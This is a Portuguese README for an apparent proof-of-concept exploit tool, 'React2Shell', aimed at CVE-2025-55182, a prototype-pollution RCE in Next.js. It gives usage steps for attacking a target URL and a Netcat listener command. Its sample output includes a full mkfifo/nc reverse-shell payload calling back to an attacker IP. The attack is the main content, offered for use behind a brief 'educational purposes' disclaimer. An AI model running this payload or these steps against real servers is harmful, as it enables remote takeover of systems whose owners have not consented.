Este é um script PoC fácil de usar para explorar a vulnerabilidade React2Shell-CVE-2025-55182 no Nextjs. Isso ajudará a obter um shell reverso.
🚀 React2Shell - (CVE-2025–55182) Script de Exploração
🔥 Introdução
Este repositório contém um script de exploração para a vulnerabilidade React2Shell (CVE-2025–55182), que ataca um tipo específico de Poluição de Protótipo (Prototype Pollution) em Node.js levando à Execução Remota de Código (RCE).
O script é especificamente projetado para estabelecer uma conexão reverse shell com Netcat injetando um payload malicioso na aplicação vulnerável.
⚠️ Aviso Legal
Esta ferramenta é apenas para fins educacionais e de pesquisa.
⚙️ Pré-requisitos
- Python 3.x
- Biblioteca
requestsInstalação
Você pode instalar a dependência Python necessária usando
pip:pip install requests
🖥️ Uso
O script é uma ferramenta focada em obter um reverse shell e requer 3 parâmetros principais: a URL Alvo (
-u), seu Endereço IP Local (-l) e a Porta do Listener (-p).1. Inicie seu Listener
Antes de executar o exploit, você deve configurar um listener Netcat em sua máquina local para capturar a conexão reverse shell de entrada.
# Inicie o listener Netcat na porta 9001 (ou sua porta personalizada) nc -lvnp 90012. Execute o Script de Exploração
Execute o script fornecendo os argumentos necessários. Se você omitir a porta (
-p), ela será padronizada para 9001.
Flag Argumento Descrição Exemplo -u--url(OBRIGATÓRIO) A URL completa do alvo vulnerável. http://192.168.1.100:3000-l--local-ip(OBRIGATÓRIO) Seu endereço IP atacante/listener. 192.168.1.5-p--portA porta em que seu listener está ouvindo. 4444
Exemplo de Uso
Para atacar
http://192.168.1.100:3000/e reconectar ao seu listener em192.168.1.5:4444:python react2shell.py -u http://192.168.1.100:3000 -l 192.168.1.5 -p 4444Saída Esperada
O exploit aproveita a função
execSyncno alvo, que normalmente bloqueia o processo do servidor. Portanto, um ReadTimeout é o sinal esperado de execução bem-sucedida do comando.### 🔥 React2Shell - (CVE-2025–55182) ### By Hasa [*] Target URL (-u): [http://192.168.1.100:3000/](http://192.168.1.100:3000/) [*] Local IP (-l): 192.168.1.5 [*] Port (-p): 4444 [*] Command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.5 4444 >/tmp/f [*] Sending payload... [+] [+] Attack may be Successful! Check your Netcat Listner.Se for bem-sucedido, você verá o shell conectar-se no seu listener Netcat.
🖼️ Menu de Ajuda
Executar o script sem argumentos exibe o banner e as instruções de uso obrigatórias:
python react2shell.pySaída:
### 🔥 React2Shell - (CVE-2025–55182) ### By Hasa usage: react2shell.py [-h] -u URL -l LOCAL_IP [-p PORT] Educational Purposes Only!!! options: -h, --help show this help message and exit -u URL, --url URL (REQUIRED) The target URL (Ex: "[http://example.com:3000](http://example.com:3000)") -l LOCAL_IP, --local-ip LOCAL_IP (REQUIRED) Listner or Attacker IP (Ex: "192.168.100.1") -p PORT, --port PORT Listner Port (Default: 9001)
![]()